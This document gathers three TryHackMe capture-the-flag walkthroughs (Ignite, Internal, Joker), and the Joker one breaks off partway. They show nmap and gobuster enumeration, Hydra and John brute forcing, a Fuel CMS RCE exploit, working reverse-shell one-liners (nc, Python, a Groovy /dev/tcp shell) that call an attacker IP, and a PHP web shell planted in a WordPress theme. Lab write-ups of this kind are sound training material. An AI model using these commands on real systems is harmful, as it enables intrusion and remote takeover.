thm-ignite-nl

Description: A new start-up has a few issues with their web server.

Free room , Difficulty: Easy

https://tryhackme.com/room/ignite


Nmap

>:sudo nmap -sC -sV 'machine-ip'

This is the scan method I use most of the time. With -sC it loads some standard nmap scripts and with -sV it shows the version of every service located at the open ports. My results were:

Nmap scan result

Open port is 80 HTTP. The website itself contains a content management system (CMS) named fuel.

GoBuster

To further enumerate the machine I want to scan it for any, maybe some hidden, directories. For this I’m using GoBuster with the machine IP address and the wordlist with commonly used directory names:

>:gobuster dir -u http://'machine-ip' -w /usr/share/dirb/wordlists/common.txt

GoBuster scan result

A lot of directories! Went through all of there and one useful result was “/fuel” as we saw in the nikto scan result above and it turns out to be a login page.

Login page of fuelCMS

Because CMS tend to have a lot of weak points so let’s have a look, if there is an exploit for Fuel CMS on “exploit-db”.

Search result on exploit-db

One result with the number CVE-2018-16763 we’re able to use a Remote Code Execution against the CMS. I downloaded it and entered my own IP address. Then I marked it as executable and executed it. My output contained errors and mostly because of the proxy. To make the exploit work I had to comment out the proxy entries otherwise to get rid of the errors. Now the exploit script should look like this

https://github.com/puckiestyle/python/blob/master/fuelcms141rce.py

Entering the command whoami then got me the output www-data.

Command execution

Down are still some errors but we got our desired output on the top.

Privilege Escalation

Because I am now able to execute commands I entered the code for a reverse shell. But to catch any output we have to set up a netcat listener:

>:nc -lnvp 443

Now we can enter our reverse shell code(bash or python choose what ya like) .

>:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.3.122 443 >/tmp/f
>:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.3.122",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

And then stabilized my current shell with:

>:python -c 'import pty; pty.spawn("/bin/bash")'

Note: I found out, that using the su command later on needs a terminal. So stabilizing the shell is very important to get to the solution.

Then I cat the “user.txt” file (*1). Searched for backups because those tend to contain valuable informations:

>:find / -type f -name "*.bak" 2>/dev/null

With the 2>/dev/null at the end I get rid of all the files I don’t have the permissions for it.

After looking around , I found the password for root: /var/www/html/fuel/application/config/database.php.

password

root: mememe

Okay so we just found the password for the root user and now we can change our account user to root using su command.

root-shell-1

After this you can just get the root flag from /root.

Summary

1. User.txt
– 6470e394cbf6dab6a91682cc8585059b

2. Root.txt
– b9bbcb33e11b80be759c4e844862482d

Author : Puckiestyle

thm-internal-nl

Internal

free room available at : https://tryhackme.com/room/internal

Penetration Testing Challenge

Having accepted the project, you are provided with the client assessment environment. Secure the User and Root flags and submit them to the dashboard as proof of exploitation.

You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in three weeks.

Scope of Work

The client requests that an engineer conducts an external, web app, and internal assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test). The client has asked that you secure two flags (no location provided) as proof of exploitation:

  • User.txt
  • Root.txt

Additionally, the client has provided the following scope allowances:

  • Ensure that you modify your hosts file to reflect internal.thm
  • Any tools or techniques are permitted in this engagement
  • Locate and note all vulnerabilities found
  • Submit the flags discovered to the dashboard
  • Only the IP address assigned to your machine is in scope

(Roleplay off)

I encourage you to approach this challenge as an actual penetration test. Consider writing a report, to include an executive summary, vulnerability and exploitation assessment, and remediation suggestions, as this will benefit you in preparation for the eLearnsecurity eCPPT or career as a penetration tester in the field.

Note – this room can be completed without Metasploit

User.txt Flag

Services enumeration

Let’s start to enumerate the services with Nmap. We discover 2 ports:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
|   256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_  256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web enumeration (gobuster)

There is no robots.txt file, but gobuster found a a blog, likely run with WordPress.

kali@kali:/data/The_Blob_Blog/files$ gobuster dir -u http://internal.thm -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://internal.thm
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/09/03 14:28:32 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/blog (Status: 301)
/index.html (Status: 200)
/javascript (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
/wordpress (Status: 301)
===============================================================
2020/09/03 14:29:00 Finished
===============================================================

WordPress enumeration

Browsing /blog confirms our assumption, this is a WordPress blog. Let’s enumerate the users with wpscan:

kali@kali:/data/The_Blob_Blog/files$ wpscan --url http://internal.thm/blog -e u
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.4
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://internal.thm/blog/ [10.10.137.187]
[+] Started: Thu Sep  3 14:36:16 2020

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://internal.thm/blog/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://internal.thm/blog/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://internal.thm/blog/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.4.2 identified (Latest, released on 2020-06-10).
 | Found By: Rss Generator (Passive Detection)
 |  - http://internal.thm/blog/index.php/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>
 |  - http://internal.thm/blog/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.4.2</generator>

[+] WordPress theme in use: twentyseventeen
 | Location: http://internal.thm/blog/wp-content/themes/twentyseventeen/
 | Last Updated: 2020-08-11T00:00:00.000Z
 | Readme: http://internal.thm/blog/wp-content/themes/twentyseventeen/readme.txt
 | [!] The version is out of date, the latest version is 2.4
 | Style URL: http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 2.3 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <=======================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://internal.thm/blog/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Thu Sep  3 14:36:20 2020
[+] Requests Done: 24
[+] Cached Requests: 34
[+] Data Sent: 5.936 KB
[+] Data Received: 181.104 KB
[+] Memory used: 172.43 MB
[+] Elapsed time: 00:00:03

According to WPScan, the only user is admin. Let’s try to brute force the password, using the bruteforce feature of WPScan:

kali@kali:/data/The_Blob_Blog/files$ wpscan --url http://internal.thm/blog -U admin -P /usr/share/wordlists/rockyou.txt 

[REDACTED]

[!] Valid Combinations Found:
 | Username: admin, Password: my2boys

[REDACTED]

WordPress admin connection

Login (http://internal.thm/blog/wp-admin/) is successful with admin:my2boys and we now have the ability to modify the templates PHP source code. This will be convenient to write a reverse shell.

In the web interface, go to “Appearance > Theme Editor > 404.php” and replace the PHP code with a PHP reverse shell (e.g. http://pentestmonkey.net/tools/web-shells/php-reverse-shell).

Open a listener (rlwrap nc -nlvp 4444) and call the template (http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php).

Reverse shell

Now have a reverse shell:

$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.137.187] 51322
Linux internal 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 12:46:33 up 23 min,  0 users,  load average: 0.02, 0.20, 0.18
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@internal:/$ whoami
whoami
www-data

Lateral move (www-data to aubreanna)

There is an interesting file in the /opt directory:

cat wp-save.txt
Bill,

Aubreanna needed these credentials for something later.  Let her know you have them and where they are.

aubreanna:bubb13guM!@#123

Let’s connect as aubreanna:

www-data@internal:/opt$ su aubreanna
su aubreanna
Password: bubb13guM!@#123

aubreanna@internal:/opt$ whoami
whoami
aubreanna

User flag

The user flag is in aubreanna’s home folder:

aubreanna@internal:/opt$ cd /home/aubreanna
cd /home/aubreanna
aubreanna@internal:~$ ls -la
ls -la
total 56
drwx------ 7 aubreanna aubreanna 4096 Aug  3 03:57 .
drwxr-xr-x 3 root      root      4096 Aug  3 01:40 ..
-rwx------ 1 aubreanna aubreanna    7 Aug  3 20:01 .bash_history
-rwx------ 1 aubreanna aubreanna  220 Apr  4  2018 .bash_logout
-rwx------ 1 aubreanna aubreanna 3771 Apr  4  2018 .bashrc
drwx------ 2 aubreanna aubreanna 4096 Aug  3 01:41 .cache
drwx------ 3 aubreanna aubreanna 4096 Aug  3 19:36 .gnupg
drwx------ 3 aubreanna aubreanna 4096 Aug  3 01:53 .local
-rwx------ 1 root      root       223 Aug  3 01:56 .mysql_history
-rwx------ 1 aubreanna aubreanna  807 Apr  4  2018 .profile
drwx------ 2 aubreanna aubreanna 4096 Aug  3 02:38 .ssh
-rwx------ 1 aubreanna aubreanna    0 Aug  3 01:41 .sudo_as_admin_successful
-rwx------ 1 aubreanna aubreanna   55 Aug  3 03:57 jenkins.txt
drwx------ 3 aubreanna aubreanna 4096 Aug  3 01:41 snap
-rwx------ 1 aubreanna aubreanna   21 Aug  3 03:56 user.txt
aubreanna@internal:~$ cat user.txt
cat user.txt
THM{int3rna1_fl4g_1}

User flag: THM{int3rna1_fl4g_1}

Root.txt Flag

Check privileges

To read the root flag, we will need a privilege escalation. Unfortunately, aubreanna is not in the sudoers.

aubreanna@internal:~$ sudo -l
Sorry, user aubreanna may not run sudo on internal.

Jenkins

There is an interesting file in aubreanna’s home folder that tells us Jenkins is running on port 8080:

aubreanna@internal:~$ cat jenkins.txt 
Internal Jenkins service is running on 172.17.0.2:8080

We confirm that the service is only available to localhost.

aubreanna@internal:~$ netstat -tan | grep 8080
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN

There are several indications that docker is available on the target, and as the Jenkins documentation (https://www.jenkins.io/doc/book/installing/) explains how to install Jenkins with docker, we can assume that this is how Jenkins has been installed. If not a rabbit hole, this could be a way to elevate our privileges to root. Worth trying…

To make Jenkins available to us (instead of just localhost), we can use a ssh tunnel.

┌─[user@parrot-virtual]─[/usr/bin]
└──╼ $ssh -L 8080:172.17.0.2:8080 aubreanna@10.10.227.191
The authenticity of host '10.10.227.191 (10.10.227.191)' can't be established.
ECDSA key fingerprint is SHA256:fJ/BlTrDF8wS8/eqyoej1aq/NmvQh79ABdkpiiN5tqE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.227.191' (ECDSA) to the list of known hosts.
aubreanna@10.10.227.191's password: bubb13guM!@#123
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Wed Sep 9 17:09:10 UTC 2020

System load: 0.01 Processes: 112
Usage of /: 63.7% of 8.79GB Users logged in: 0
Memory usage: 34% IP address for eth0: 10.10.227.191
Swap usage: 0% IP address for docker0: 172.17.0.1

=> There is 1 zombie process.


* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch

0 packages can be updated.
0 updates are security updates.


Last login: Mon Aug 3 19:56:19 2020 from 10.6.2.56
aubreanna@internal:~$ netstat -tan | grep 8080
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN 
aubreanna@internal:~$

We can then visit the Jenkins server web page by visiting from our parrot box 127.0.0.1:8080.

Jenkins’ admin password

Trying to authenticate as admin with admin or password as password fails. Let’s try to brute force the account.

To do that, intercept the POST request in Burp Suite to build our hydra attack.

POST /j_acegi_security_check HTTP/1.1
Host: internal.thm:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://internal.thm:8888/login?from=%2F
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Connection: close
Cookie: JSESSIONID.fb3308f2=node0lfk0eau5l4zu17h43ifl0scpw36.node0
Upgrade-Insecure-Requests: 1

j_username=admin&j_password=admin&from=%2F&Submit=Sign+in

We now have all the required information. Here is the hydra attack:

┌─[user@parrot-virtual]─[~/ptd]
└──╼ $hydra -l admin -P /usr/share/wordlists/rockyou.txt localhost -s 8080 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-09-09 18:31:54
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://localhost:8080/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password
[8080][http-post-form] host: localhost login: admin password: spongebob
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-09-09 18:32:22
┌─[user@parrot-virtual]─[~/ptd]

We now have the admin’s password. Let’s connect to http://internal.thm:8888 with admin:spongebob.

Reverse shell in docker

Now that we have an admin access to Jenkins, we can run commands, and we’ll ultimately exploit this to have a reverse shell.

Start by running a listener (on your machine):

$ rlwrap nc -nlvp 5555

Now, in Jenkins, go to “Jenkins > Nodes > master” and click on “Script Console” from the menu. Execute the following command (found here):

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.8.50.72/5555;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Root password

In our listener, we now have a reverse shell. Browsing the file system reveals that the root password is disclosed in clear:

cd /opt
ls -la
total 12
drwxr-xr-x 1 root root 4096 Aug  3 03:31 .
drwxr-xr-x 1 root root 4096 Aug  3 03:07 ..
-rw-r--r-- 1 root root  204 Aug  3 03:31 note.txt
cat note.txt
Aubreanna,

Will wanted these credentials secured behind the Jenkins container since we have several layers of defense here.  Use them if you 
need access to the root user account.

root:tr0ub13guM!@#123

Root flag

Back to our initial SSH connection as aubreanna:

aubreanna@internal:/var/backups$ su root
Password: 
root@internal:/var/backups# cd /root/
root@internal:~# ll
total 48
drwx------  7 root root 4096 Aug  3 13:16 ./
drwxr-xr-x 24 root root 4096 Aug  3 01:31 ../
-rw-------  1 root root  193 Aug  3 20:01 .bash_history
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 Aug  3 02:23 .cache/
drwx------  3 root root 4096 Aug  3 02:23 .gnupg/
drwxr-xr-x  3 root root 4096 Aug  3 01:53 .local/
-rw-------  1 root root 1071 Aug  3 13:16 .mysql_history
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  2 root root 4096 Aug  3 01:40 .ssh/
-rw-r--r--  1 root root   22 Aug  3 04:13 root.txt
drwxr-xr-x  3 root root 4096 Aug  3 01:41 snap/
root@internal:~# cat root.txt 
THM{d0ck3r_d3str0y3r}

Root flag: THM{d0ck3r_d3str0y3r}

thm-jokerctf-nl

Batman hits Joker.

We have developed this lab for the purpose of online penetration practices. Solving this lab is not that tough if you have proper basic knowledge of Penetration testing. Let’s start and learn how to breach it.

  1. Enumerate Services
  • Nmap
  1. Bruteforce
  • Performing Bruteforce on files over http
  • Performing Bruteforce on Basic Authentication
  1. Hash Crack
  • Performing Bruteforce on hash to crack zip file
  • Performing Bruteforce on hash to crack mysql user
  1. Exploitation
  • Getting a reverse connection
  • Spawning a TTY Shell
  1. Privilege Escalation
  • Get root taking advantage of flaws in LXD

#1 – Enumerate services on target machine.

Hint: What about nmap?

Let’s start with a Nmap scan:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ad:20:1f:f4:33:1b:00:70:b3:85:cb:87:00:c4:f4:f7 (RSA)
|   256 1b:f9:a8:ec:fd:35:ec:fb:04:d5:ee:2a:a1:7a:4f:78 (ECDSA)
|_  256 dc:d7:dd:6e:f6:71:1f:8c:2c:2c:a1:34:6d:29:99:20 (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HA: Joker
8080/tcp open  http    Apache httpd 2.4.29
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=Please enter the password.
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 401 Unauthorized
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap reveals 3 open ports on the server, 1 for SSH and 2 for HTTP.

#2 – What version of Apache is it?

Answer: 2.4.29

#3 – What port on this machine not need to be authenticated by user and password?

Only the HTTP service running on port 80 doesn’t require an authentication.

Answer: 80

#4 – There is a file on this port that seems to be secret, what is it?

Hint: Extensions File, dirb command comes with a flag that append each word with this extensions. Try to use dirb with a file that contains some commons extensions in a web server.

$ gobuster dir -u http://10.10.130.207 -w /data/src/wordlists/common.txt -x txt,php,html
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.130.207
[+] Threads:        10
[+] Wordlist:       /data/src/wordlists/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt,php,html
[+] Timeout:        10s
===============================================================
2020/06/22 23:31:44 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.txt (Status: 403)
/.hta.php (Status: 403)
/.hta.html (Status: 403)
/.htaccess (Status: 403)
/.htaccess.txt (Status: 403)
/.htaccess.php (Status: 403)
/.htaccess.html (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.php (Status: 403)
/.htpasswd.html (Status: 403)
/css (Status: 301)
/img (Status: 301)
/index.html (Status: 200)
/index.html (Status: 200)
/phpinfo.php (Status: 200)
/phpinfo.php (Status: 200)
/secret.txt (Status: 200)
/server-status (Status: 403)
===============================================================
2020/06/22 23:33:12 Finished
===============================================================

Answer: secret.txt

#5 – There is another file which reveals information of the backend, what is it?

Answer: phpinfo.php

#6 – When reading the secret file, We find with a conversation that seems contains at least two users and some keywords that can be intersting, what user do you think it is?

$ curl -s http://10.10.130.207/secret.txt
Batman hits Joker.
Joker: "Bats you may be a rock but you won't break me." (Laughs!)
Batman: "I will break you with this rock. You made a mistake now."
Joker: "This is one of your 100 poor jokes, when will you get a sense of humor bats! You are dumb as a rock."
Joker: "HA! HA! HA! HA! HA! HA! HA! HA! HA! HA! HA! HA!"

Answer: joker

#7 – What port on this machine need to be authenticated by Basic Authentication Mechanism?

$ curl -i http://10.10.130.207:8080
HTTP/1.1 401 Unauthorized
Date: Tue, 23 Jun 2020 06:46:52 GMT
Server: Apache/2.4.29 (Ubuntu)
WWW-Authenticate: Basic realm=" Please enter the password."
Content-Length: 461
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested.  Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 10.10.130.207 Port 8080</address>
</body></html>

Answer: 8080

#8 – At this point we have one user and a url that needs to be aunthenticated, brute force it to get the password, what is that password?

Hint: Maybe burp with format user:pass and encode with base64? Note: Don’t forget decode it!!

Let’s brute force joker’s password with Hydra:

$ hydra -l joker -P /data/src/wordlists/rockyou.txt -s 8080 10.10.130.207 http-get
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-06-23 09:07:05
[WARNING] You must supply the web page as an additional option or via -m, default path set to /
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking http-get://10.10.130.207:8080/
[8080][http-get] host: 10.10.130.207   login: joker   password: hannah
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-06-23 09:07:32

Answer: hannah

#9 – Yeah!! We got the user and password and we see a cms based blog. Now check for directories and files in this port. What directory looks like as admin directory?

Hint: Nikto with the credentials we obtained?

The application hosted on port 8080 seems to be a Joomla CMS.

There is a robots.txt file (http://10.10.130.207:8080/robots.txt) that discloses several locations, one of which (/administrator/) being particularly interesting:

$ curl -s -H "Authorization: Basic am9rZXI6aGFubmFo" http://10.10.130.207:8080/robots.txt
# If the Joomla site is installed within a folder 
# eg www.example.com/joomla/ then the robots.txt file 
# MUST be moved to the site root 
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths. 
# eg the Disallow rule for the /administrator/ folder MUST 
# be changed to read 
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/orig.html
#
# For syntax checking, see:
# http://tool.motoricerca.info/robots-checker.phtml

User-agent: *
Disallow: /administrator/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/

Answer: /administrator/

#10 – We need access to the administration of the site in order to get a shell, there is a backup file, What is this file?

Let’s search for some common extensions for backups:

$ gobuster dir -U joker -P hannah -u http://10.10.130.207:8080/ -x bak,old,tar,gz,tgz,zip,7z -w /data/src/wordlists/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.130.207:8080/
[+] Threads:        10
[+] Wordlist:       /data/src/wordlists/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Auth User:      joker
[+] Extensions:     bak,old,tar,gz,tgz,zip,7z
[+] Timeout:        10s
===============================================================
2020/06/23 09:33:15 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.bak (Status: 403)
/.hta.old (Status: 403)
/.hta.tar (Status: 403)
/.hta.gz (Status: 403)
/.hta.tgz (Status: 403)
/.hta.zip (Status: 403)
/.hta.7z (Status: 403)
/.htaccess (Status: 403)
/.htaccess.zip (Status: 403)
/.htaccess.7z (Status: 403)
/.htaccess.bak (Status: 403)
/.htaccess.old (Status: 403)
/.htaccess.tar (Status: 403)
/.htaccess.gz (Status: 403)
/.htaccess.tgz (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.gz (Status: 403)
/.htpasswd.tgz (Status: 403)
/.htpasswd.zip (Status: 403)
/.htpasswd.7z (Status: 403)
/.htpasswd.bak (Status: 403)
/.htpasswd.old (Status: 403)
/.htpasswd.tar (Status: 403)
/administrator (Status: 301)
/bin (Status: 301)
/backup (Status: 200)
/backup.zip (Status: 200)
/cache (Status: 301)

[REDACTED]

Answer: backup.zip

#11 – We have the backup file and now we should look for some information, for example database, configuration files, etc … But the backup file seems to be encrypted. What is the password?

Hint: Use john to crack the zip hash

We download the backup file and try to uncompress it, but it requires a password:

$ wget --user=joker --password=hannah http://10.10.130.207:8080/backup.zip
$ unzip backup.zip 
Archive:  backup.zip
   creating: db/
[backup.zip] db/joomladb.sql password:

Let’s crack the password:

$ zip2john backup.zip > backup.hash
$ john backup.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:./password.lst
hannah           (backup.zip)
1g 0:00:00:00 DONE 2/3 (2020-06-23 10:16) 6.250g/s 584006p/s 584006c/s 584006C/s 123456..faithfaith
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Answer: hannah

#12 – Remember that… We need access to the administration of the site… Blah blah blah. In our new discovery we see some files that have compromising information, maybe db? ok what if we do a restoration of the database! Some tables must have something like user_table! What is the super duper user?

Unzipping the backup.zip archive reveals 2 folders: db and site, respectively with a sql dump of the database (2415 lines) and a copy of the website.

In the site directory we can find the Joomla configuration file, that contains the database’s password:

$ head -n20 configuration.php 
<?php
class JConfig {
    public $offline = '0';
    public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.';
    public $display_offline_message = '1';
    public $offline_image = '';
    public $sitename = 'joker';
    public $editor = 'tinymce';
    public $captcha = '0';
    public $list_limit = '20';
    public $access = '1';
    public $debug = '0';
    public $debug_lang = '0';
    public $dbtype = 'mysqli';
    public $host = 'localhost';
    public $user = 'joomla';
    public $password = '1234';
    public $db = 'joomladb';
    public $dbprefix = 'cc1gr_';
    public $live_site = '';

But since we don’t have access to the database currently, we are more interested in valid users to access the Joomla website.

Let’s search for the interesting table:

$ grep CREATE TABLE joomladb.sql | grep user
grep: TABLE: No such file or directory
joomladb.sql:CREATE TABLE `cc1gr_user_keys` (
joomladb.sql:CREATE TABLE `cc1gr_user_notes` (
joomladb.sql:CREATE TABLE `cc1gr_user_profiles` (
joomladb.sql:CREATE TABLE `cc1gr_user_usergroup_map` (
joomladb.sql:CREATE TABLE `cc1gr_usergroups` (
joomladb.sql:CREATE TABLE `cc1gr_users` (

And now that we know the table:

$ grep cc1gr_users joomladb.sql 
-- Table structure for table `cc1gr_users`
DROP TABLE IF EXISTS `cc1gr_users`;
CREATE TABLE `cc1gr_users` (
-- Dumping data for table `cc1gr_users`
LOCK TABLES `cc1gr_users` WRITE;
/*!40000 ALTER TABLE `cc1gr_users` DISABLE KEYS */;
INSERT INTO `cc1gr_users` VALUES (547,'Super Duper User','admin','admin@example.com','$2y$10$b43UqoH5UpXokj2y9e/8U.LD8T3jEQCuxG2oHzALoJaj9M5unOcbG',0,1,'2019-10-08 12:00:15','2019-10-25 15:20:02','0','{\"admin_style\":\"\",\"admin_language\":\"\",\"language\":\"\",\"editor\":\"\",\"helpsite\":\"\",\"timezone\":\"\"}','0000-00-00 00:00:00',0,'','',0);
/*!40000 ALTER TABLE `cc1gr_users` ENABLE KEYS */;

The “Super Duper User” is admin.

#13 – Super Duper User! What is the password?

Hint: Again, john and mysql hash password.

